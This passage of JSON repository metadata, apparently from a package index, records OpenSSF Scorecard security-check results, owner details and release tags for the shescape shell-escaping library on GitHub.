https://app.stepsecurity.io/secureworkflow/ericcornelissen/shescape/reusable-fuzz.yml/main?enable=pin","Warn: npmCommand not pinned by hash: .github/workflows/checks.yml:192","Warn: npmCommand not pinned by hash: .github/workflows/checks.yml:230","Warn: npmCommand not pinned by hash: .github/workflows/nightly.yml:39","Warn: npmCommand not pinned by hash: .github/workflows/nightly.yml:40","Info:  27 out of  56 GitHub-owned GitHubAction dependencies pinned","Info:   1 out of   6 third-party GitHubAction dependencies pinned","Info:   0 out of   4 npmCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"CII-Best-Practices","score":5,"reason":"badge detected: Passing","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: Mozilla Public License 2.0: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Fuzzing","score":10,"reason":"project is fuzzed","details":["Info: JavaScriptPropertyBasedTesting integration found: test/_arbitraries.js:6","Info: JavaScriptPropertyBasedTesting integration found: test/breakage/index.test.js:6","Info: JavaScriptPropertyBasedTesting integration found: test/breakage/index.test.js:7","Info: JavaScriptPropertyBasedTesting integration found: test/breakage/stateless.test.js:6","Info: JavaScriptPropertyBasedTesting integration found: test/breakage/stateless.test.js:7","Info: JavaScriptPropertyBasedTesting integration found: test/breakage/testing.test.js:6","Info: JavaScriptPropertyBasedTesting integration found: test/breakage/testing.test.js:7","Info: JavaScriptPropertyBasedTesting integration found: test/compat/index.test.js:7","Info: JavaScriptPropertyBasedTesting integration found: test/compat/stateless.test.js:7","Info: JavaScriptPropertyBasedTesting integration found: test/compat/testing.test.js:7","Info: JavaScriptPropertyBasedTesting integration found: test/fuzz/exec-file.test.js:7","Info: JavaScriptPropertyBasedTesting integration found: test/fuzz/exec-file.test.js:8","Info: JavaScriptPropertyBasedTesting integration found: test/fuzz/exec.test.js:7","Info: JavaScriptPropertyBasedTesting integration found: test/fuzz/exec.test.js:9","Info: JavaScriptPropertyBasedTesting integration found: test/fuzz/fork.test.js:7","Info: JavaScriptPropertyBasedTesting integration found: test/fuzz/fork.test.js:9","Info: JavaScriptPropertyBasedTesting integration found: test/fuzz/spawn.test.js:7","Info: JavaScriptPropertyBasedTesting integration found: test/fuzz/spawn.test.js:8","Info: JavaScriptPropertyBasedTesting integration found: test/integration/constructor/constructor.test.js:6","Info: JavaScriptPropertyBasedTesting integration found: test/integration/escape-all/commonjs.test.js:7","Info: JavaScriptPropertyBasedTesting integration found: test/integration/escape-all/commonjs.test.js:8","Info: JavaScriptPropertyBasedTesting integration found: test/integration/escape-all/invalid.test.js:6","Info: JavaScriptPropertyBasedTesting integration found: test/integration/escape-all/valid.test.js:6","Info: JavaScriptPropertyBasedTesting integration found: test/integration/escape-all/valid.test.js:7","Info: JavaScriptPropertyBasedTesting integration found: test/integration/escape/commonjs.test.js:7","Info: JavaScriptPropertyBasedTesting integration found: test/integration/escape/invalid.test.js:6","Info: JavaScriptPropertyBasedTesting integration found: test/integration/escape/valid.test.js:6","Info: JavaScriptPropertyBasedTesting integration found: test/integration/quote-all/commonjs.test.js:7","Info: JavaScriptPropertyBasedTesting integration found: test/integration/quote-all/commonjs.test.js:8","Info: JavaScriptPropertyBasedTesting integration found: test/integration/quote-all/invalid.test.js:6","Info: JavaScriptPropertyBasedTesting integration found: test/integration/quote-all/invalid.test.js:7","Info: JavaScriptPropertyBasedTesting integration found: test/integration/quote-all/valid.test.js:6","Info: JavaScriptPropertyBasedTesting integration found: test/integration/quote-all/valid.test.js:7","Info: JavaScriptPropertyBasedTesting integration found: test/integration/quote/commonjs.test.js:7","Info: JavaScriptPropertyBasedTesting integration found: test/integration/quote/invalid.test.js:6","Info: JavaScriptPropertyBasedTesting integration found: test/integration/quote/valid.test.js:6","Info: JavaScriptPropertyBasedTesting integration found: test/integration/stateless/commonjs.test.js:7","Info: JavaScriptPropertyBasedTesting integration found: test/integration/stateless/commonjs.test.js:8","Info: JavaScriptPropertyBasedTesting integration found: test/integration/stateless/functional.test.js:6","Info: JavaScriptPropertyBasedTesting integration found: test/integration/stateless/functional.test.js:7","Info: JavaScriptPropertyBasedTesting integration found: test/integration/testing/commonjs.test.js:7","Info: JavaScriptPropertyBasedTesting integration found: test/integration/testing/commonjs.test.js:9","Info: JavaScriptPropertyBasedTesting integration found: test/integration/testing/functional.test.js:7","Info: JavaScriptPropertyBasedTesting integration found: test/integration/testing/functional.test.js:9","Info: JavaScriptPropertyBasedTesting integration found: test/unit/_macros.js:9","Info: JavaScriptPropertyBasedTesting integration found: test/unit/executables/resolve.test.js:6","Info: JavaScriptPropertyBasedTesting integration found: test/unit/executables/resolve.test.js:8","Info: JavaScriptPropertyBasedTesting integration found: test/unit/options/parse-options.test.js:6","Info: JavaScriptPropertyBasedTesting integration found: test/unit/options/parse-options.test.js:8","Info: JavaScriptPropertyBasedTesting integration found: test/unit/platforms/get-helpers.test.js:7","Info: JavaScriptPropertyBasedTesting integration found: test/unit/platforms/get-helpers.test.js:8","Info: JavaScriptPropertyBasedTesting integration found: test/unit/reflection/checked-to-string.test.js:8","Info: JavaScriptPropertyBasedTesting integration found: test/unit/reflection/checked-to-string.test.js:10","Info: JavaScriptPropertyBasedTesting integration found: test/unit/reflection/has-own.test.js:6","Info: JavaScriptPropertyBasedTesting integration found: test/unit/reflection/has-own.test.js:7","Info: JavaScriptPropertyBasedTesting integration found: test/unit/reflection/is-string.test.js:6","Info: JavaScriptPropertyBasedTesting integration found: test/unit/reflection/is-string.test.js:7","Info: JavaScriptPropertyBasedTesting integration found: test/unit/unix/csh.test.js:9","Info: JavaScriptPropertyBasedTesting integration found: test/unit/unix/csh.test.js:10","Info: JavaScriptPropertyBasedTesting integration found: test/unit/unix/index.test.js:8","Info: JavaScriptPropertyBasedTesting integration found: test/unit/unix/index.test.js:10","Info: JavaScriptPropertyBasedTesting integration found: test/unit/unix/no-shell.test.js:7","Info: JavaScriptPropertyBasedTesting integration found: test/unit/unix/no-shell.test.js:8","Info: JavaScriptPropertyBasedTesting integration found: test/unit/unix/shells.test.js:6","Info: JavaScriptPropertyBasedTesting integration found: test/unit/unix/shells.test.js:8","Info: JavaScriptPropertyBasedTesting integration found: test/unit/win/index.test.js:8","Info: JavaScriptPropertyBasedTesting integration found: test/unit/win/index.test.js:10","Info: JavaScriptPropertyBasedTesting integration found: test/unit/win/no-shell.test.js:7","Info: JavaScriptPropertyBasedTesting integration found: test/unit/win/no-shell.test.js:8","Info: JavaScriptPropertyBasedTesting integration found: test/unit/win/shells.test.js:6","Info: JavaScriptPropertyBasedTesting integration found: test/unit/win/shells.test.js:8","Info: JavaScriptPropertyBasedTesting integration found: test/_arbitraries.js:6","Info: JavaScriptPropertyBasedTesting integration found: test/breakage/index.test.js:6","Info: JavaScriptPropertyBasedTesting integration found: test/breakage/index.test.js:7","Info: JavaScriptPropertyBasedTesting integration found: test/breakage/stateless.test.js:6","Info: JavaScriptPropertyBasedTesting integration found: test/breakage/stateless.test.js:7","Info: JavaScriptPropertyBasedTesting integration found: test/breakage/testing.test.js:6","Info: JavaScriptPropertyBasedTesting integration found: test/breakage/testing.test.js:7","Info: JavaScriptPropertyBasedTesting integration found: test/compat/index.test.js:7","Info: JavaScriptPropertyBasedTesting integration found: test/compat/stateless.test.js:7","Info: JavaScriptPropertyBasedTesting integration found: test/compat/testing.test.js:7","Info: JavaScriptPropertyBasedTesting integration found: test/fuzz/exec-file.test.js:7","Info: JavaScriptPropertyBasedTesting integration found: test/fuzz/exec-file.test.js:8","Info: JavaScriptPropertyBasedTesting integration found: test/fuzz/exec.test.js:7","Info: JavaScriptPropertyBasedTesting integration found: test/fuzz/exec.test.js:9","Info: JavaScriptPropertyBasedTesting integration found: test/fuzz/fork.test.js:7","Info: JavaScriptPropertyBasedTesting integration found: test/fuzz/fork.test.js:9","Info: JavaScriptPropertyBasedTesting integration found: test/fuzz/spawn.test.js:7","Info: JavaScriptPropertyBasedTesting integration found: test/fuzz/spawn.test.js:8","Info: JavaScriptPropertyBasedTesting integration found: test/integration/constructor/constructor.test.js:6","Info: JavaScriptPropertyBasedTesting integration found: test/integration/escape-all/commonjs.test.js:7","Info: JavaScriptPropertyBasedTesting integration found: test/integration/escape-all/commonjs.test.js:8","Info: JavaScriptPropertyBasedTesting integration found: test/integration/escape-all/invalid.test.js:6","Info: JavaScriptPropertyBasedTesting integration found: test/integration/escape-all/valid.test.js:6","Info: JavaScriptPropertyBasedTesting integration found: test/integration/escape-all/valid.test.js:7","Info: JavaScriptPropertyBasedTesting integration found: test/integration/escape/commonjs.test.js:7","Info: JavaScriptPropertyBasedTesting integration found: test/integration/escape/invalid.test.js:6","Info: JavaScriptPropertyBasedTesting integration found: test/integration/escape/valid.test.js:6","Info: JavaScriptPropertyBasedTesting integration found: test/integration/quote-all/commonjs.test.js:7","Info: JavaScriptPropertyBasedTesting integration found: test/integration/quote-all/commonjs.test.js:8","Info: JavaScriptPropertyBasedTesting integration found: test/integration/quote-all/invalid.test.js:6","Info: JavaScriptPropertyBasedTesting integration found: test/integration/quote-all/invalid.test.js:7","Info: JavaScriptPropertyBasedTesting integration found: test/integration/quote-all/valid.test.js:6","Info: JavaScriptPropertyBasedTesting integration found: test/integration/quote-all/valid.test.js:7","Info: JavaScriptPropertyBasedTesting integration found: test/integration/quote/commonjs.test.js:7","Info: JavaScriptPropertyBasedTesting integration found: test/integration/quote/invalid.test.js:6","Info: JavaScriptPropertyBasedTesting integration found: test/integration/quote/valid.test.js:6","Info: JavaScriptPropertyBasedTesting integration found: test/integration/stateless/commonjs.test.js:7","Info: JavaScriptPropertyBasedTesting integration found: test/integration/stateless/commonjs.test.js:8","Info: JavaScriptPropertyBasedTesting integration found: test/integration/stateless/functional.test.js:6","Info: JavaScriptPropertyBasedTesting integration found: test/integration/stateless/functional.test.js:7","Info: JavaScriptPropertyBasedTesting integration found: test/integration/testing/commonjs.test.js:7","Info: JavaScriptPropertyBasedTesting integration found: test/integration/testing/commonjs.test.js:9","Info: JavaScriptPropertyBasedTesting integration found: test/integration/testing/functional.test.js:7","Info: JavaScriptPropertyBasedTesting integration found: test/integration/testing/functional.test.js:9","Info: JavaScriptPropertyBasedTesting integration found: test/unit/_macros.js:9","Info: JavaScriptPropertyBasedTesting integration found: test/unit/executables/resolve.test.js:6","Info: JavaScriptPropertyBasedTesting integration found: test/unit/executables/resolve.test.js:8","Info: JavaScriptPropertyBasedTesting integration found: test/unit/options/parse-options.test.js:6","Info: JavaScriptPropertyBasedTesting integration found: test/unit/options/parse-options.test.js:8","Info: JavaScriptPropertyBasedTesting integration found: test/unit/platforms/get-helpers.test.js:7","Info: JavaScriptPropertyBasedTesting integration found: test/unit/platforms/get-helpers.test.js:8","Info: JavaScriptPropertyBasedTesting integration found: test/unit/reflection/checked-to-string.test.js:8","Info: JavaScriptPropertyBasedTesting integration found: test/unit/reflection/checked-to-string.test.js:10","Info: JavaScriptPropertyBasedTesting integration found: test/unit/reflection/has-own.test.js:6","Info: JavaScriptPropertyBasedTesting integration found: test/unit/reflection/has-own.test.js:7","Info: JavaScriptPropertyBasedTesting integration found: test/unit/reflection/is-string.test.js:6","Info: JavaScriptPropertyBasedTesting integration found: test/unit/reflection/is-string.test.js:7","Info: JavaScriptPropertyBasedTesting integration found: test/unit/unix/csh.test.js:9","Info: JavaScriptPropertyBasedTesting integration found: test/unit/unix/csh.test.js:10","Info: JavaScriptPropertyBasedTesting integration found: test/unit/unix/index.test.js:8","Info: JavaScriptPropertyBasedTesting integration found: test/unit/unix/index.test.js:10","Info: JavaScriptPropertyBasedTesting integration found: test/unit/unix/no-shell.test.js:7","Info: JavaScriptPropertyBasedTesting integration found: test/unit/unix/no-shell.test.js:8","Info: JavaScriptPropertyBasedTesting integration found: test/unit/unix/shells.test.js:6","Info: JavaScriptPropertyBasedTesting integration found: test/unit/unix/shells.test.js:8","Info: JavaScriptPropertyBasedTesting integration found: test/unit/win/index.test.js:8","Info: JavaScriptPropertyBasedTesting integration found: test/unit/win/index.test.js:10","Info: JavaScriptPropertyBasedTesting integration found: test/unit/win/no-shell.test.js:7","Info: JavaScriptPropertyBasedTesting integration found: test/unit/win/no-shell.test.js:8","Info: JavaScriptPropertyBasedTesting integration found: test/unit/win/shells.test.js:6","Info: JavaScriptPropertyBasedTesting integration found: test/unit/win/shells.test.js:8"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"Branch-Protection","score":3,"reason":"branch protection is not maximal on development and all release branches","details":["Info: 'allow deletion' disabled on branch 'main'","Info: 'force pushes' disabled on branch 'main'","Info: 'branch protection settings apply to administrators' is required to merge on branch 'main'","Warn: 'stale review dismissal' is disabled on branch 'main'","Warn: branch 'main' does not require approvers","Warn: codeowners review is not required on branch 'main'","Warn: 'last push approval' is disabled on branch 'main'","Warn: 'up-to-date branches' is disabled on branch 'main'","Info: status check found to merge onto on branch 'main'","Info: PRs are required in order to make changes on branch 'main'"],"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Packaging","score":10,"reason":"packaging workflow detected","details":["Info: Project packages its releases by way of GitHub Actions.: .github/workflows/publish.yml:94"],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"SAST","score":10,"reason":"SAST tool is run on all commits","details":["Info: SAST configuration detected: CodeQL","Info: all commits (30) are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}},{"name":"Vulnerabilities","score":10,"reason":"0 existing vulnerabilities detected","details":null,"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}}]},"last_synced_at":"2025-08-18T15:14:08.438Z","repository_id":37528615,"created_at":"2025-08-18T15:14:08.438Z","updated_at":"2025-08-18T15:14:08.438Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":36808028,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-08-06T04:43:03.162Z","status":"online","status_checked_at":"2026-08-21T02:00:06.756Z","response_time":57,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"ericcornelissen","name":"Eric Cornelissen","uuid":"3742559","kind":"user","description":"","email":"","website":"https://www.ericcornelissen.dev/","location":"Sweden","twitter":null,"company":null,"icon_url":"https://avatars.githubusercontent.com/u/3742559?v=4","repositories_count":61,"last_synced_at":"2025-09-15T01:22:45.996Z","metadata":{"has_sponsors_listing":false},"html_url":"https://github.com/ericcornelissen","funding_links":[],"total_stars":99,"followers":61,"following":1,"created_at":"2022-11-11T22:55:05.799Z","updated_at":"2025-09-15T01:22:45.996Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/ericcornelissen","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/ericcornelissen/repositories"},"tags":[{"name":"v3.0.2","sha":"21b71c30df49ec2fa2ff7331526bbaeb46af8b0f","kind":"commit","published_at":"2026-08-01T12:51:40.000Z","download_url":"https://codeload.github.com/ericcornelissen/shescape/tar.gz/v3.0.2","html_url":"https://github.com/ericcornelissen/shescape/releases/tag/v3.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ericcornelissen/shescape@v3.0.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v3.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v3.0.2/manifests"},{"name":"v2.1.15","sha":"107771e62c86af15fdb2638189ed329ed26c24d3","kind":"commit","published_at":"2026-08-01T12:51:37.000Z","download_url":"https://codeload.github.com/ericcornelissen/shescape/tar.gz/v2.1.15","html_url":"https://github.com/ericcornelissen/shescape/releases/tag/v2.1.15","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ericcornelissen/shescape@v2.1.15","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v2.1.15","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v2.1.15/manifests"},{"name":"v3.0.1","sha":"37303332910d456bf07bbf942c3ed98be156f365","kind":"commit","published_at":"2026-07-22T21:40:23.000Z","download_url":"https://codeload.github.com/ericcornelissen/shescape/tar.gz/v3.0.1","html_url":"https://github.com/ericcornelissen/shescape/releases/tag/v3.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ericcornelissen/shescape@v3.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v3.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v3.0.1/manifests"},{"name":"v2.1.14","sha":"ae0faa7bd31331aec3f21c623ee69a50e6663454","kind":"commit","published_at":"2026-07-22T21:31:54.000Z","download_url":"https://codeload.github.com/ericcornelissen/shescape/tar.gz/v2.1.14","html_url":"https://github.com/ericcornelissen/shescape/releases/tag/v2.1.14","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ericcornelissen/shescape@v2.1.14","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v2.1.14","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v2.1.14/manifests"},{"name":"v3.0.0","sha":"68b9e590b7527fd9dbde91c450055059423942f6","kind":"commit","published_at":"2026-06-13T19:06:11.000Z","download_url":"https://codeload.github.com/ericcornelissen/shescape/tar.gz/v3.0.0","html_url":"https://github.com/ericcornelissen/shescape/releases/tag/v3.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ericcornelissen/shescape@v3.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v3.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v3.0.0/manifests"},{"name":"v2.1.13","sha":"4654d644e07d57f49e545561798dc4bb8e07909f","kind":"commit","published_at":"2026-06-13T18:53:15.000Z","download_url":"https://codeload.github.com/ericcornelissen/shescape/tar.gz/v2.1.13","html_url":"https://github.com/ericcornelissen/shescape/releases/tag/v2.1.13","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ericcornelissen/shescape@v2.1.13","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v2.1.13","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v2.1.13/manifests"},{"name":"v2.1.12","sha":"92a081c97f917cd0baf51592b69795f6fe0f8f86","kind":"commit","published_at":"2026-05-06T12:36:48.000Z","download_url":"https://codeload.github.com/ericcornelissen/shescape/tar.gz/v2.1.12","html_url":"https://github.com/ericcornelissen/shescape/releases/tag/v2.1.12","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ericcornelissen/shescape@v2.1.12","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v2.1.12","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v2.1.12/manifests"},{"name":"v2.1.11","sha":"b1a0f675275a20c285aaea179e4e8e00b211ef1d","kind":"commit","published_at":"2026-04-07T15:10:46.000Z","download_url":"https://codeload.github.com/ericcornelissen/shescape/tar.gz/v2.1.11","html_url":"https://github.com/ericcornelissen/shescape/releases/tag/v2.1.11","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ericcornelissen/shescape@v2.1.11","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v2.1.11","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v2.1.11/manifests"},{"name":"v2.1.10","sha":"e8b1f3214e9dff0e800431cbdb1a1cfa79e9052c","kind":"commit","published_at":"2026-03-10T19:56:05.000Z","download_url":"https://codeload.github.com/ericcornelissen/shescape/tar.gz/v2.1.10","html_url":"https://github.com/ericcornelissen/shescape/releases/tag/v2.1.10","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ericcornelissen/shescape@v2.1.10","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v2.1.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v2.1.10/manifests"},{"name":"v2.1.9","sha":"4ff38830f965b7aee67f466295ca5751aa23d5a4","kind":"commit","published_at":"2026-03-06T16:39:55.000Z","download_url":"https://codeload.github.com/ericcornelissen/shescape/tar.gz/v2.1.9","html_url":"https://github.com/ericcornelissen/shescape/releases/tag/v2.1.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ericcornelissen/shescape@v2.1.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v2.1.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v2.1.9/manifests"},{"name":"v2.1.8","sha":"a2544a1c78cae19d0e81a485b997bf0b0fcc2c12","kind":"commit","published_at":"2026-01-25T12:20:09.000Z","download_url":"https://codeload.github.com/ericcornelissen/shescape/tar.gz/v2.1.8","html_url":"https://github.com/ericcornelissen/shescape/releases/tag/v2.1.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ericcornelissen/shescape@v2.1.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v2.1.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v2.1.8/manifests"},{"name":"v2.1.7","sha":"43753fd0ba098f3cdd2ff8b92d235381d199ce1c","kind":"commit","published_at":"2025-11-22T21:08:00.000Z","download_url":"https://codeload.github.com/ericcornelissen/shescape/tar.gz/v2.1.7","html_url":"https://github.com/ericcornelissen/shescape/releases/tag/v2.1.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ericcornelissen/shescape@v2.1.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v2.1.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v2.1.7/manifests"},{"name":"v2.1.6","sha":"d13a3127a2b5ecf348821449e44df5d20e93f565","kind":"commit","published_at":"2025-07-14T19:31:40.000Z","download_url":"https://codeload.github.com/ericcornelissen/shescape/tar.gz/v2.1.6","html_url":"https://github.com/ericcornelissen/shescape/releases/tag/v2.1.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ericcornelissen/shescape@v2.1.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v2.1.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v2.1.6/manifests"},{"name":"v2.1.5","sha":"322a4b25a828d4315396a1487c3636aac7adc1ab","kind":"commit","published_at":"2025-06-19T19:54:20.000Z","download_url":"https://codeload.github.com/ericcornelissen/shescape/tar.gz/v2.1.5","html_url":"https://github.com/ericcornelissen/shescape/releases/tag/v2.1.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ericcornelissen/shescape@v2.1.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v2.1.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v2.1.5/manifests"},{"name":"v2.1.4","sha":"36b12df72bc5aa1b23ca8b726955df46bbbe3767","kind":"commit","published_at":"2025-06-01T13:25:25.000Z","download_url":"https://codeload.github.com/ericcornelissen/shescape/tar.gz/v2.1.4","html_url":"https://github.com/ericcornelissen/shescape/releases/tag/v2.1.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ericcornelissen/shescape@v2.1.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v2.1.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v2.1.4/manifests"},{"name":"v2.1.3","sha":"6e2047ae5eee04f19d4a77da935fa8d7b6a913f0","kind":"commit","published_at":"2025-05-11T14:14:18.000Z","download_url":"https://codeload.github.com/ericcornelissen/shescape/tar.gz/v2.1.3","html_url":"https://github.com/ericcornelissen/shescape/releases/tag/v2.1.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ericcornelissen/shescape@v2.1.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v2.1.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v2.1.3/manifests"},{"name":"v2.1.2","sha":"155b13b4141750203ce71249f1b0fdc638c7a0d0","kind":"commit","published_at":"2025-03-25T20:48:34.000Z","download_url":"https://codeload.github.com/ericcornelissen/shescape/tar.gz/v2.1.2","html_url":"https://github.com/ericcornelissen/shescape/releases/tag/v2.1.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ericcornelissen/shescape@v2.1.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v2.1.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v2.1.2/manifests"},{"name":"v2.1.1","sha":"e5456b911290343822596d1cb9e1205e5c43bfc8","kind":"commit","published_at":"2024-05-01T08:04:10.000Z","download_url":"https://codeload.github.com/ericcornelissen/shescape/tar.gz/v2.1.1","html_url":"https://github.com/ericcornelissen/shescape/releases/tag/v2.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ericcornelissen/shescape@v2.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v2.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v2.1.1/manifests"},{"name":"v2.1.0","sha":"13ea4a78dc7f856abc2fbbd8fc5b85a25b2610e7","kind":"commit","published_at":"2023-12-23T17:02:50.000Z","download_url":"https://codeload.github.com/ericcornelissen/shescape/tar.gz/v2.1.0","html_url":"https://github.com/ericcornelissen/shescape/releases/tag/v2.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ericcornelissen/shescape@v2.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v2.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v2.1.0/manifests"},{"name":"v2.0.2","sha":"fca81dae0209552c3d1f0ffb1b4b74203538c818","kind":"commit","published_at":"2023-11-19T15:56:45.000Z","download_url":"https://codeload.github.com/ericcornelissen/shescape/tar.gz/v2.0.2","html_url":"https://github.com/ericcornelissen/shescape/releases/tag/v2.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ericcornelissen/shescape@v2.0.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescap